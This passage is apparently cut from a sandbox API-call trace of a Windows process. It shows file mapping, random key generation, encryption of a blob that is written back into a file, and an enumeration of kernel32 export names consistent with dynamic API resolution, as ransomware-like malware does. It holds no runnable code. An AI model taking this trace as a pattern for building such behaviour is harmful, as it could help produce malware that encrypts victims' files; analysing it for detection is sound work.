dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0115.831] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3726) returned 1 [0115.831] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0115.831] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x38c0000 [0116.123] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x31c0000 | out: pbBuffer=0x31c0000) returned 1 [0116.123] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x31c0020 | out: pbBuffer=0x31c0020) returned 1 [0116.123] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0116.123] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c60000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x3c60000*, pdwDataLen=0x38be718*=0x100) returned 1 [0116.124] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x3c70000 [0116.125] VirtualFree (lpAddress=0x3c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.125] UnmapViewOfFile (lpBaseAddress=0x38c0000) returned 1 [0116.125] CloseHandle (hObject=0x5f8) returned 1 [0116.125] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.125] WriteFile (in: hFile=0x5f4, lpBuffer=0x3c60000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x3c60000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0116.126] CloseHandle (hObject=0x0) returned 0 [0116.126] CloseHandle (hObject=0x5f4) returned 1 [0116.127] VirtualFree (lpAddress=0x3c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.127] VirtualFree (lpAddress=0x31c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0116.128] GetTickCount () returned 0x327cc [0116.128] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x31c0000 [0116.128] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0116.128] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0116.128] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x3c60000 [0116.129] lstrlenA (lpString="kernel32.dll") returned 12 [0116.129] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0116.129] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0116.129] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0116.129] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0116.129] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0116.129] lstrlenA (lpString="ADDATOMA") returned 8 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0116.129] lstrlenA (lpString="ADDATOMW") returned 8 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0116.129] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0116.129] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0116.130] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0116.130] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0116.130] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0116.130] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0116.130] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0116.130] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0116.130] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0116.130] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0116.130] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0116.130] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0116.130] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0116.130] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0116.130] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0116.130] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0116.130] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0116.130] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0116.130] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0116.131] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0116.131] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0116.131] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0116.131] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0116.131] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0116.131] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0116.131] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0116.131] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0116.131] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0116.131] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0116.131] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0116.131] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0116.131] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0116.131] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0116.131] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0116.131] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0116.131] lstrlenA (lpString="BACKUPREAD") returned 10 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0116.132] lstrlenA (lpString="BACKUPSEEK") returned 10 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0116.132] lstrlenA (lpString="BACKUPWRITE") returned 11 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0116.132] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0116.132] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0116.132] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0116.132] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0116.132] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0116.132] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0116.132] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0116.132] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0116.132] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0116.132] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0116.132] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0116.132] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0116.132] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0116.132] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0116.132] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0116.133] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0116.133] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0116.133] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0116.133] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0116.133] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0116.133] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0116.133] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0116.133] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0116.133] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0116.133] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0116.133] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0116.133] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0116.133] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0116.133] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0116.133] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0116.133] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0116.134] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0116.134] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0116.134] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0116.134] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0116.134] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0116.134] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0116.134] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0116.134] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0116.134] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0116.134] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0116.134] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0116.134] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0116.134] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0116.134] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0116.134] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0116.134] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0116.135] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0116.135] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0116.135] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0116.135] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0116.135] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0116.135] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0116.135] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0116.135] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0116.135] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0116.135] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0116.135] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0116.135] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0116.135] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0116.135] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0116.135] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0116.135] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0116.136] lstrlenA (lpString="BEEP") returned 4 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: 